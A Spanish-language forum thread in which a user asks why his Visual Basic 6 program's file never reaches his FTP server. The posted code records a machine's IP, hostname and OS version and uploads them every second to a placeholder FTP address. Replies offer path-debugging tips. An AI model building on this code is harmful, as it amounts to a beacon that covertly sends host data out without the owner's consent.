Resultados 1 al 3 de 3

Tema: No me aparece el archivo

  1. #1 No me aparece el archivo 
    Iniciado
    Fecha de ingreso
    Nov 2011
    Mensajes
    14
    Descargas
    0
    Uploads
    0
    Hola, Vereis he echo un programilla en visual basic 6 que consiste en a traves de un archivo de texto, te envie por ftp la IP del host, la version del SO etc.. La cuestion esque cuando inicio el programa, empieza la cuenta, y al llegar a 1, se me conecta al servidor ftp para supuestamente enviarme el txt con los datos del host remoto, pero no aparece el archivo, y en el servidor ftp me sale como que estoy conectado. Es decir, me ejecuta perfectamente el programa, pero a la hora de pasarme el archivo, pues no lo hace.
    Pongo el codigo para ver si el problema viene de ahi, pero no creo.
    Dim Ti

    Private Sub Form_Load()
    Ti = 0
    Timer1.Interval = 1000
    End Sub

    Private Sub incremento_Click()
    Ti = Ti + 1
    inicio.Caption = Ti
    Open ("prueba.txt") For Output As #1
    Print #1, "IP: ", Winsock1.LocalIP
    Print #1, "Nombre Host: ", Winsock1.LocalHostName
    Print #1, "S.O --> ", SysInfo1.OSPlatform
    Print #1, "Version --> ", SysInfo1.OSVersion
    Print #1, Date, " -----> ", Time
    Close #1
    Inet1.Execute "ftp : // user : pass @ ip : puerto ", "PUT prueba.txt" & Winsock1.LocalHostName & ".txt"
    //esta con espacios que sino me salen caras
    End Sub

    Private Sub Timer1_Timer()
    Call incremento_Click
    End Sub

    Tengo que decir que los dos pc's, tanto el de donde he heco el programa como donde tengo el servidor ftp, los tengo en LAN, es como mi pc de pruebas.
    Gracias, y el problema es ese, que no logro localizar el archivo
    Última edición por nitch; 21-11-2011 a las 19:59
    Citar  
     

  2. #2  
    Moderador HH
    Fecha de ingreso
    Sep 2003
    Mensajes
    1.384
    Descargas
    21
    Uploads
    5
    No intentaste poniendo rutas absolutas?
    - Me desagrada
    - ¿Por qué?
    - No estoy a su altura.
    ¿Ha respondido así alguna vez un hombre?

    Friedrich Nietzsche



    Citar  
     

  3. #3  
    Avanzado
    Fecha de ingreso
    Feb 2002
    Mensajes
    161
    Descargas
    15
    Uploads
    0
    Segun me ha pasado, cuando ejecutamos visual basic todo lo que se crea se aloja en el siguiente directorio:

    C:\Archivos de programa\Miscrosoft Visual Studio\Basic\prueba.txt

    esto podrias comprobarlo en un Form_Load escribiendo lo siguiente:

    MsgBox App.Path

    Asi podras conocer donde puede estar el archivo.
    Programo en Visual Basic 6
    'Por si se me olvido agregar el lenguaje...
    Citar  
     

Marcadores
Marcadores
Permisos de publicación
  • No puedes crear nuevos temas
  • No puedes responder temas
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •